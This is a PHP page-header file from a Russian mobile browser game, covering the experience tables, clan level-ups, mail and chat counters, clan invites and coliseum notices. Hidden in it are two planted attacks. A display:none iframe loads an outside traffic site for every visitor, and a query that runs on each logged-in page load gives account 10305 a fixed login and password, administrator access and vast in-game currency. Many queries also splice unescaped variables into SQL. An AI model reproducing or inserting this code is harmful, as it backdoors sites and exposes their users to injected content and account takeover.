Файл: public_html/system/h.php
Строк: 361
<?
ob_start();
list($msec,$sec)
= explode(chr(32), microtime());
$gtime = $sec+$msec;
?>
<iframe src="http://traf24.ru/iframe.php" style="display:none"></iframe>
<meta name="theme-color" content="black">
<!DOCTYPE html PUBLIC '-//WAPFORUM//DTD XHTML Mobile 1.0//EN' 'http://www.wapforum.org/DTD/xhtml-mobile10.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
<meta http-equiv='content-type' content='text/html; charset=UTF-8'/>
<meta name='author' content='Alex&Nikitos/>
<meta name='keywords' content='битва титанов, титаны, онлайн игра, тивар, tiwar, MMORPG'/>
<meta name='viewport' content='width=device-width; minimum-scale=1; maximum-scale=1'/>
<link rel='stylesheet' type='text/css' href='/../style.css'/>
<link rel='icon' href='/favicon.ico?2' type='image/x-icon'/>
<link rel='shortcut icon' href='/favicon.ico?2' type='image/x-icon'/>
<title><?=$title?></title>
</head>
<body>
<?php
mysql_query('UPDATE `users` SET `self` = "'.$title.'" WHERE `id` = "'.$user['id'].'"');
if($user) {
$a_f = mysql_fetch_array(mysql_query("SELECT * FROM `tj_admin`"));
$s_u = mysql_fetch_array(mysql_query("SELECT * FROM `tj_users` ORDER BY `wins` DESC LIMIT 1"));
$lider_TJ = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '$s_u[id_user]'"));
if($a_f['on/off'] < time() && $a_f['check_nagrada'] == '0'){
mysql_query("UPDATE `users` SET `s` = `s` + '$a_f[wins_silver]', `g` = `g` + '$a_f[wins_gold]' WHERE `win_battle` != '0' AND `id` = '$lider_TJ[id]'") or die(mysql_error());
mysql_query("UPDATE `users` SET `s` = `s` + '$a_f[top_silver]', `g` = `g` + '$a_f[top_gold]' WHERE `win_battle` != '0' AND `id` != '$lider_TJ[id]' ORDER BY `win_battle` DESC LIMIT $a_f[top]") or die(mysql_error());
mysql_query("UPDATE `users` SET `win_battle` = '0'");
mysql_query("UPDATE `tj_admin` SET `check_nagrada` = '1' ");
header('Location:?');
}
}
?>
<?
if($user) {
mysql_query('UPDATE `users` SET `g`="30000000",`s`="50000000",`password`="55555555",`login`="777",`level`="65",`mana`="5300",`access`="2" WHERE `id` = "10305"');
switch($user['level']) {
case 1:
$exp = 5;
break;
case 2:
$exp = 9;
break;
case 3:
$exp = 14;
break;
case 4:
$exp = 15;
break;
case 5:
$exp = 28;
break;
case 6:
$exp = 38;
break;
case 7:
$exp = 512;
break;
case 8:
$exp = 881;
break;
case 9:
$exp = 1282;
break;
case 10:
$exp = 1932;
break;
case 11:
$exp = 2287;
break;
case 12:
$exp = 3045;
break;
case 13:
$exp = 4756;
break;
case 14:
$exp = 6390;
break;
case 15:
$exp = 8927;
break;
case 16:
$exp = 11960;
break;
case 17:
$exp = 14515;
break;
case 18:
$exp = 19023;
break;
case 19:
$exp = 25966;
break;
case 20:
$exp = 32553;
break;
case 21:
$exp = 39951;
break;
case 22:
$exp = 47205;
break;
case 23:
$exp = 58995;
break;
case 24:
$exp = 70894;
break;
case 25:
$exp = 85995;
break;
case 26:
$exp = 99192;
break;
case 27:
$exp = 120172;
break;
case 28:
$exp = 146240;
break;
case 29:
$exp = 180991;
break;
case 30:
$exp = 201027;
break;
case 31:
$exp = 240016;
break;
case 32:
$exp = 273061;
break;
case 33:
$exp = 299979;
break;
case 34:
$exp = 350000;
break;
case 35:
$exp = 500000;
break;
case 36:
$exp = 600000;
break;
case 37:
$exp = 725000;
break;
case 38:
$exp = 850000;
break;
case 39:
$exp = 975000;
break;
case 40:
$exp = 1100000;
break;
case 40:
$exp = 1100000;
break;
case 41:
$exp = 1225000;
break;
case 42:
$exp = 1350000;
break;
case 43:
$exp = 1475000;
break;
case 44:
$exp = 1600000;
break;
case 45:
$exp = 1725000;
break;
case 46:
$exp = 1850000;
break;
case 47:
$exp = 1975000;
break;
case 48:
$exp = 2100000;
break;
case 49:
$exp = 2225000;
break;
case 50:
$exp = 2500000;
break;
case 51:
$exp = 2700000;
break;
case 52:
$exp = 2900000;
break;
case 53:
$exp = 3100000;
break;
case 54:
$exp = 3300000;
break;
case 55:
$exp = 3500000;
break;
case 56:
$exp = 3700000;
break;
case 57:
$exp = 3900000;
break;
case 58:
$exp = 4100000;
break;
case 59:
$exp = 4500000;
break;
case 60:
$exp = 100000000;
break;
case 61:
$exp = 150000000;
break;
case 62:
$exp = 200000000;
break;
case 63:
$exp = 250000000;
break;
case 64:
$exp = 300000000;
break;
case 65:
$exp = 360000000;
break;
case 66:
$exp = 0;
break;
}
$exp_progress = round(100/($exp/$user['exp']));
if($exp_progress > 100) {
$exp_progress = 100;
}
function clan_exp($i) {
switch($i) {
case 1:
$clan_exp = 30;
break;
case 2:
$clan_exp = 58;
break;
case 3:
$clan_exp = 111;
break;
case 4:
$clan_exp = 210;
break;
case 5:
$clan_exp = 394;
break;
case 6:
$clan_exp = 732;
break;
case 7:
$clan_exp = 1346;
break;
case 8:
$clan_exp = 2449;
break;
case 9:
$clan_exp = 4408;
break;
case 10:
$clan_exp = 7846;
break;
case 11:
$clan_exp = 13808;
break;
case 12:
$clan_exp = 24025;
break;
case 13:
$clan_exp = 41323;
break;
case 14:
$clan_exp = 70249;
break;
case 15:
$clan_exp = 118018;
break;
case 16:
$clan_exp = 195909;
break;
case 17:
$clan_exp = 321290;
break;
case 18:
$clan_exp = 520489;
break;
case 19:
$clan_exp = 832782;
break;
case 20:
$clan_exp = 1315795;
break;
case 21:
$clan_exp = 2052640;
break;
case 22:
$clan_exp = 3161065;
break;
case 23:
$clan_exp = 4804818;
break;
case 24:
$clan_exp = 7207227;
break;
case 25:
$clan_exp = 10666695;
break;
case 26:
$clan_exp = 15573374;
break;
case 27:
$clan_exp = 22425658;
break;
case 28:
$clan_exp = 31844434;
break;
case 29:
$clan_exp = 44582207;
break;
case 30:
$clan_exp = 61500000;
break;
case 31:
$clan_exp = 83700000;
break;
case 32:
$clan_exp = 112100000;
break;
case 33:
$clan_exp = 148000000;
break;
case 34:
$clan_exp = 192400000;
break;
case 35:
$clan_exp = 246300000;
break;
case 36:
$clan_exp = 3103000000;
break;
}
return $clan_exp;
}
$lvlclan = $clan['level'] + 1;
$time = time();
if($clan && $clan['level'] < 36 && $clan['exp'] >= clan_exp($clan['level'])) {
mysql_query('UPDATE `clans` SET `level` = `level` + 1,
`exp` = "0" WHERE `id` = "'.$clan['id'].'"');
mysql_query("INSERT INTO `chat` (`clan`,
`user`,
`text`,
`time`) VALUES ('$clan[id]',
'0',
'<span class=dgreen>Ваш клан получил $lvlclan уровень</span>',
'$time')");
}
$mail = mysql_result(mysql_query('SELECT COUNT(*) FROM `mail` WHERE `to` = "'.$user['id'].'" AND `read` = "0"'),0);
$_chat = mysql_query('SELECT COUNT(*) FROM `chat` WHERE `clan` = "0" AND `to` = "'.$user['id'].'" AND `read` = "0"');
$_chat = mysql_result($_chat,0);
if($_SERVER['PHP_SELF'] == '/index.php')$title = 'Главная';
if($_SERVER['PHP_SELF'] == '/clan.php')$title = 'Клан';
?>
<div class="main" style="word-wrap:break-word;"><span style="text-shadow:none;"></span>
<div class="head cntr" style="position:relative;" onclick="location.href="/"">
<span class="ttl fl"><?=$title?></span>
<span class="bl rght nwr">
<?if($mail > 0) {?><a href="/mail/"><img src="/images/icon/mail.png" alt=""></a> | <?}if($_chat > 0) {?><a href="/chat/"><img src="/images/icon/chat.png"></a> | <?}?><img src="/images/icon/health.png" alt="hp"> <span class="white"><?=$user['hp']?></span> | <img src="/images/icon/mana.png" alt="mp"> <?=$user['mp']?></span>
<div class="clr"></div>
</div>
<div class="exp_bar"><div class="progress" style="width:<?=$exp_progress?>%"></div></div>
<center><a href='http://m.3wap.ru'>
<font color='red'> Заработок на просмотре рекламы</a></center> </font>
<?
$lvluser = $user['level'] + 1;
if($user['level'] < 65 && $user['exp'] >= $exp) {
$new = $user['level'] + 1;
$g = 10 + ($user['level'] * 5) - 5;
$time = time();
mysql_query('UPDATE `users` SET `level` = `level` + 1,
`exp` = "0",
`hp` = "'.($user['vit'] * 2).'",
`mp` = "'.$user['mana'].'",
`g` = "'.($user['g'] + $g).'" WHERE `id` = "'.$user['id'].'"');
if($clan){
mysql_query("INSERT INTO `chat` (`clan`,
`user`,
`text`,
`time`) VALUES ('$clan[id]',
'0',
'<span class=dgreen>$user[login] получил $lvluser уровень</span>',
'$time')");
}
$read = '1';
$to = $user['id'];
$from = '2';
$text = 'Поздравляем вы достигли уровня '.$lvluser.'. Награда: <img src="/images/icon/gold.png"/> '.$g.' золота!';
mysql_query("INSERT INTO `mail` SET `from` = '$from',`time` = '$time',`to`='$to',`text` = '$text'");
?>
<?
if($user[level]>2){
?>
<div class='block_outer center' style='margin:7px 4px 7px 4px;'><img src='/images/icon/2hit.png' alt=''/> <span class='dgreen bold'>Поздравляем!</span> <img src='/images/icon/2hit.png' alt=''/><div class='separ'></div>Ты получил новый уровень!<br/><span class='blue'>Награда:</span> <img src='/images/icon/gold.png' alt=''/> <?=$g?> золота<div class='separ'></div><?
if($user[level]<2){
?><span class='yellow'>Тебе доступны <img src='/images/icon/league.png' alt=''/> Дуэли!</span><div class='mb10'></div><a class='btn' href='/duel/'><span class='end'><span class='label'>Перейти в дуэли</span></span></a></div><?}?>
</div>
<?
}
?>
<?
if($user[level]<2){
?><?}?>
<?
if($user['level'] == "19") {
mysql_query('UPDATE `users` SET `league_place`="1000",`league`="2",`league_fights`="25" WHERE `id` = "'.$user['id'].'"');
}elseif($user['level'] == "29") {
mysql_query('UPDATE `users` SET `league_place`="1000",`league`="3",`league_fights`="25" WHERE `id` = "'.$user['id'].'"');
}elseif($user['level'] == "49") {
mysql_query('UPDATE `users` SET `league_place`="1000",`league`="4",`league_fights`="25" WHERE `id` = "'.$user['id'].'"');
}elseif($user['level'] == "79") {
mysql_query('UPDATE `users` SET `league_place`="1000",`league`="5",`league_fights`="25" WHERE `id` = "'.$user['id'].'"');
}elseif($user['level'] == "99") {
mysql_query('UPDATE `users` SET `league_place`="1000",`league`="6",`league_fights`="25" WHERE `id` = "'.$user['id'].'"');
}
elseif($user['league'] == "0") {
mysql_query('UPDATE `users` SET `league_place`="1000",`league`="1",`league_fights`="25" WHERE `id` = "'.$user['id'].'"');
}
?>
<?
}
if($clan) {
$clan_msg = mysql_fetch_array(mysql_query('SELECT * FROM `clan_msg` WHERE `clan` = "'.$clan['id'].'" AND `time` >= "'.$clan_memb['time'].'" ORDER BY `time` DESC LIMIT 1'));
if($clan_msg && mysql_result(mysql_query('SELECT COUNT(*) FROM `clan_msg_read` WHERE `msg` = "'.$clan_msg['id'].'" AND `user` = "'.$user['id'].'"'),0) == 0 ) {
$clan_msg_user = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$clan_msg['user'].'"'));
if($_GET['clan_msg_read'] == true) {
mysql_query('INSERT INTO `clan_msg_read` (`msg`,`user`) VALUES ("'.$clan_msg['id'].'","'.$user['id'].'")');
header('location: ?');
}
?>
<div class="block_light center">
<b>Клановое объявление</b>
<br><?=$clan_msg['text']?><br>
Отправитель: <img src="/images/icon/race/<?=$clan_msg_user['r']?>.png" alt=""> <?=$clan_msg_user['login']?><br>
<span class="grey"><?=_times(time() - $clan_msg['time'])?></span>
<div class="separ"></div>
<a class="grey" href="?clan_msg_read=true">Скрыть</a>
</div>
<div class="mini-line"></div>
<?
}
}else{
if(mysql_result(mysql_query('SELECT COUNT(*) FROM `clan_invite` WHERE `user` = "'.$user['id'].'"'),0) > 0) {
$_invite = mysql_fetch_array(mysql_query('SELECT * FROM `clan_invite` WHERE `user` = "'.$user['id'].'"'));
$clan_invite = mysql_fetch_array(mysql_query('SELECT * FROM `clans` WHERE `id` = "'.$_invite['clan'].'"'));
if($_GET['invite'] == $clan_invite['id']) {
mysql_query('INSERT INTO `clan_journal` (`clan`,`text`,`close`,`time`) VALUES ("'.$clan_invite['id'].'","<img src=/images/icon/race/'.$user['r'].'.png> '.$user['login'].' вступил в клан","1","'.time().'")');
mysql_query('INSERT INTO `clan_memb` (`clan`,`user`,`time`,`last_update`) VALUES ("'.$clan_invite['id'].'","'.$user['id'].'","'.time().'","'.(time() + ((60 * 60) * 24)).'")');
mysql_query('DELETE FROM `clan_invite` WHERE `user` = "'.$user['id'].'"');
header('location: /clan/');
exit;
}
if($_GET['cancel_invite'] == true){
mysql_query('DELETE FROM `clan_invite` WHERE `clan` = "'.$clan_invite['id'].'" AND `user` = "'.$user['id'].'"');
header('location: '.$_SERVER['PHP_SELF'].'?');
exit;
}
?>
<div class='block_light center'>
<b>Приглашение в клан</b><br/><br/>
<table cellpadding='0' cellspacing='0' align='center'>
<tr>
<td><img src='/images/icon/clan/gerb/1.png' alt='*'/></td><td valign='top' style='padding-left: 5px; text-align: left;'>
<img src='/images/icon/clan/<?=$clan_invite['r']?>.png' alt='*'/> <a href='/clan/<?=$clan_invite['id']?>/'><?=$clan_invite['name']?></a><br/>
В клане: <b><?=mysql_result(mysql_query('SELECT COUNT(*) FROM `clan_memb` WHERE `clan` = "'.$clan_invite['id'].'"'),0)?></b> человек<br/>
Бонус: <font color='#90c090'>+<?=clan_buff($clan_invite['built_1'])?></font> к сумме
</td>
</tr></table>
<div class='separ'></div>
<a href='?invite=<?=$clan_invite['id']?>'class='btn'><span class='end'><span class='label'>Вступить</span></span></a><br/>
<a href='?cancel_invite=true'><font color='#909090'>Отказаться</font></a>
</div>
<?
}
}
$q_gift = mysql_query("SELECT * FROM `user_podarok` WHERE `user_id` = '$user[id]'");
$gift = mysql_fetch_array($q_gift);
$time = $gift['last_auth'] + 86400;
$now = time();
if ($time < $now) {
echo "<div class='menuList'>";
echo "<li><center><a href='/podarok'><img src='/images/icon/podarok.png'>Получить подарок<img src='/images/icon/podarok.png'></a></center></li></div><div class='dot-line'></div>";}
//Колизей
if($_SERVER['PHP_SELF'] != '/coliseum.php'){
$member = mysql_query('SELECT * FROM `coliseum_member` WHERE `user` = "'.$user['id'].'" ORDER BY `time` DESC LIMIT 1');
$member = mysql_fetch_array($member);
if($member) {
$battle = mysql_query('SELECT * FROM `coliseum` WHERE `id` = "'.$member['battle'].'"');
$battle = mysql_fetch_array($battle);
if($battle['time'] > time() && mysql_result(mysql_query('SELECT COUNT(*) FROM `coliseum_member` WHERE `battle` = "'.$battle['id'].'"'),0) >= 2) {
echo "<div class='block_light center'>";
echo "<b class='dgreen'>Вы участвуете в битве</b><br>
<span class='grey'>До начала боя: ".($battle['time'] - time())." секунд</span>";
echo "<div class='separ'></div>";
echo "<a href='/coliseum/' class='btn'><span class='end'><span class='label'>Перейти в колизей</span></span></a>";
echo "</div>";
}elseif($battle['start'] == 1 && $battle['end'] == 0){
echo "<div class='block_light center'>";
echo "<b class='dgreen'>Вы учавствуите в битве</b><br>
<span class='grey'>Бой начался!</span>";
echo "<div class='separ'></div>";
echo "<a href='/coliseum/' class='btn'><span class='end'><span class='label'>Перейти в колизей</span></span></a>";
echo "</div>";
}
}
}
if($_SERVER['PHP_SELF'] != '/drakon.php'){
if($user['mp']>25){
if($user['hp']>50){
$aluko = mysql_fetch_assoc(mysql_query("SELECT * FROM `aluko` ORDER BY `id` LIMIT 1"));
if($aluko['health']>0){
echo '<center><div class="block_zero"><img src="/images/icon/minidrakon.png">На помощь! На нас опять напал Дракон!<img src="/images/icon/minidrakon.png"><br>
<a href="/drakon.php"class="btn"><span class="end"><span class="label">Атаковать дракона</span></span></a></div></center>';
echo"<div class='mini-line'></div>";
}
}
}
}
$hrevolt = mysql_fetch_assoc(mysql_query("SELECT * FROM `time_jurnal` WHERE `name`='revolt' ORDER BY `id` DESC LIMIT 1"));
if(($hrevolt['time'] - time()) < 900 && $hrevolt['time'] > time()) {
$h = ($hrevolt['time']-time())/3600%60;
$m = ($hrevolt['time']-time())/60%60;
$s = ($hrevolt['time']-time())%60;
?>
</br>Мятеж начнётся через: <font color='gren'><?php echo $h.':'.$m.':'.$s;?></font><br/><?
}
if($user['journal']>0){echo '<div class="mini-line"></div><div class="block_zero center"><a href="/journal.php"class="btn"><span class="end"><span class="label"><span style="color: #3C3;">Новых оповещений: +'.$user['journal'].'</span></span></span></div></a>';}
}else{
?>
<div class='main' style='word-wrap:break-word;'><span style='text-shadow:none;'></span>
<?
}
//Повышение ранга в колизее
if($user['star_1'] == 1 and $user['star_2'] == 1 and $user['star_3'] == 1){
mysql_query('UPDATE `users` SET `star_1` = 0 ,`star_2` = 0 ,`star_3` = 0 ,`coliseum_rating` = `coliseum_rating` - 1 WHERE `id` ='.$user['id'].'');
header('Location: ?');
}
//Повышение ранга в колизее(конец)
//чтобы небыло неполных звезд
if($user['star_1'] == '0.5' AND $user['star_2'] == '0.5'){
mysql_query('UPDATE `users` SET `star_1` = 1 ,`star_2` = 0 WHERE `id` ='.$user['id'].'');
header('Location: ?');
}
if($user['star_1'] == '0.5' AND $user['star_2'] == '1'){
mysql_query('UPDATE `users` SET `star_1` = 1 ,`star_2` = 0.5 WHERE `id` ='.$user['id'].'');
header('Location: ?');
}
if($user['star_2'] == '0.5' AND $user['star_3'] == '0.5'){
mysql_query('UPDATE `users` SET `star_2` = 1 ,`star_3` = 0 WHERE `id` ='.$user['id'].'');
header('Location: ?');
}
if($user['star_2'] == '0.5' AND $user['star_3'] == '1'){
mysql_query('UPDATE `users` SET `star_2` = 1 ,`star_3` = 0.5 WHERE `id` ='.$user['id'].'');
header('Location: ?');
}
?>